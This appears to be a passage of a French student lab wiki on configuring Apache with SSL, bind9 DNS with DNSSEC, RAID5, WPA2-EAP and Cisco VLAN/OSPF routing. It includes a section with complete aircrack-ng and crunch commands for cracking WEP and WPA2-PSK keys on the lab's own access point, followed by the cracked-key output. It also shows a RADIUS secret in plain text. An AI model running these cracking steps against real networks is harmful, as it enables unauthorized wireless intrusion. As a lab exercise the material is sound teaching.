   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNS avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Génération des clés &lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
Signature de la zone&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
Pour cela, on va brancher notre clé USB au PC. &lt;br /&gt;
On monte ensuite cette clé :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
